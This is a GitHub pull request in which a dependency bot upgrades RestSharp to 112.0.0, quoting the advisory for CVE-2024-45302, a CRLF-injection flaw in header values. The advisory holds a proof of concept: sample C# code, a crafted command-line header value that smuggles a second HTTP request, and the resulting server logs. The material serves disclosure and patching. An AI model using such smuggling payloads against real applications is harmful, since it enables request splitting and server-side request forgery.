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Update dependency RestSharp to v112 [SECURITY] #71

Merged
merged 2 commits into from
Sep 1, 2024
Merged

Update dependency RestSharp to v112 [SECURITY] #71

merged 2 commits into from
Sep 1, 2024

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@renovate renovate bot commented Aug 29, 2024 •
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This PR contains the following updates:

Package Change Age Adoption Passing Confidence
RestSharp (source) 111.4.1 -> 112.0.0 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2024-45302

Summary

The second argument to RestRequest.AddHeader (the header value) is vulnerable to CRLF injection. The same applies to RestRequest.AddOrUpdateHeader and RestClient.AddDefaultHeader.

Details

The way HTTP headers are added to a request is via the HttpHeaders.TryAddWithoutValidation method: https://github.com/restsharp/RestSharp/blob/777bf194ec2d14271e7807cc704e73ec18fcaf7e/src/RestSharp/Request/HttpRequestMessageExtensions.cs#L32 This method does not check for CRLF characters in the header value.

This means that any headers from a RestSharp.RequestHeaders object are added to the request in such a way that they are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.

PoC

The below example code creates a console app that takes one command line variable "api key" and then makes a request to some status page with the provided key inserted in the "Authorization" header:

using RestSharp;

class Program
{
    static async Task Main(string[] args)
    {
        // Usage: dotnet run <api key>
        var key = args[0];
        var options = new RestClientOptions("http://insert.some.site.here");
        var client = new RestClient(options);
        var request = new RestRequest("/status", Method.Get).AddHeader("Authorization", key);
        var response = await client.ExecuteAsync(request);
        Console.WriteLine($"Status: {response.StatusCode}");
        Console.WriteLine($"Response: {response.Content}");
    }
}

This application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):

anonymous@ubuntu-sofia-672448:~$ dotnet RestSharp-cli.dll $'test\r\nUser-Agent: injected header!\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: insert.some.site.here'
Status: OK
Response: <html></html>

The application intends to send a single request of the form:

GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: <api key>
User-Agent: RestSharp/111.4.1.0
Accept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml
Accept-Encoding: gzip, deflate, br

But as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:

GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: test
User-Agent: injected header!

and

GET /smuggled HTTP/1.1
Host: insert.some.site.here
User-Agent: RestSharp/111.4.1.0
Accept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml
Accept-Encoding: gzip, deflate, br

This can be confirmed by checking the access logs on the server where these commands were run (with insert.some.site.here pointing to localhost):

anonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log
127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] "GET /status HTTP/1.1" 200 240 "-" "injected header!"
127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] "GET /smuggled HTTP/1.1" 404 436 "-" "RestSharp/111.4.1.0"

Impact

If an application using the RestSharp library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.

Strictly speaking this is a potential vulnerability in applications using RestSharp, not in RestSharp itself, but I would argue that at the very least there needs to be a warning about this behaviour in the RestSharp documentation.

Release Notes

restsharp/RestSharp (RestSharp)

v112.0.0

Compare Source

What's Changed

New Contributors

Full Changelog: restsharp/RestSharp@111.4.1...112.0.0

Configuration

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@omgitsjan omgitsjan merged commit dd948c4 into master Sep 1, 2024
2 checks passed
@omgitsjan omgitsjan deleted the renovate/nuget-restsharp-vulnerability branch September 1, 2024 11:42
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